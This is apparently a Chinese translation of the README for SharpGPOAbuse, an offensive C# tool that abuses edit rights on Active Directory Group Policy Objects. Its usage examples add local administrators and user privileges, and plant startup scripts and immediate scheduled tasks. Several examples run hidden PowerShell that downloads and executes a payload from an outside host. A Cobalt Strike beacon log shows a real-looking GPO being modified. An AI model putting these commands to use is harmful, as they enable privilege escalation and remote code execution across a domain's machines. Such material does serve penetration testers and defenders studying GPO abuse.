SharpGPOAbuse 是一个用 C# 编写的 .NET 应用程序,可用于利用用户对组策略对象(GPO)的编辑权限,来破坏该 GPO 所控制的对象。
更多详细信息可在以下博客文章中找到:https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
确保必要的 NuGet 包已正确安装,然后在 Visual Studio 中直接生成项目。
用法:
SharpGPOAbuse.exe <攻击类型> <攻击选项>
目前 SharpGPOAbuse 支持以下选项:
| 选项 | 描述 |
|---|---|
| --AddUserRights | 向用户添加权限 |
| --AddLocalAdmin | 将用户添加到本地管理员组 |
| --AddComputerScript | 添加新的计算机启动脚本 |
| --AddUserScript | 配置用户登录脚本 |
| --AddComputerTask | 配置计算机即时任务 |
| --AddUserTask | 为用户添加即时任务 |
添加新用户权限所需的选项:
--UserRights
设置要添加到用户的新权限。此选项区分大小写,必须使用逗号分隔的列表。
--UserAccount
设置要添加新权限的帐户。
--GPOName
易受攻击的 GPO 的名称。
示例:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
添加新本地管理员所需的选项:
--UserAccount
设置要添加到本地管理员组的帐户名称。
--GPOName
易受攻击的 GPO 的名称。
示例:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
添加新用户或计算机启动脚本所需的选项:
--ScriptName
设置新启动脚本的名称。
--ScriptContents
设置新启动脚本的内容。
--GPOName
易受攻击的 GPO 的名称。
示例:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
如果只想在由易受攻击的 GPO 控制的特定用户或计算机上运行恶意脚本,可以在恶意脚本中添加 if 语句:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
添加新计算机或用户即时任务所需的选项:
--TaskName
设置新计算机任务的名称。
--Author
设置新任务的作者(使用域管理员帐户)。
--Command
要执行的命令。
--Arguments
传递给命令的参数。
--GPOName
易受攻击的 GPO 的名称。
其他用户任务选项:
--FilterEnabled
为用户即时任务启用目标筛选。
--TargetUsername
要定位的用户。恶意任务将仅在指定用户上运行。格式应为 <域>\<用户名>
--TargetUserSID
目标用户的 SID。
其他计算机任务选项:
--FilterEnabled
为计算机即时任务启用目标筛选。
--TargetDnsName
要定位的计算机的 DNS 名称。恶意任务将仅在指定主机上运行。
示例:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
如果只想在由易受攻击的 GPO 控制的特定用户或计算机上运行恶意任务,可以使用类似以下内容:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| 选项 | 描述 |
|---|---|
| --DomainController | 设置目标域控制器 |
| --Domain | 设置目标域 |
| --Force | 必要时覆盖现有文件 |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!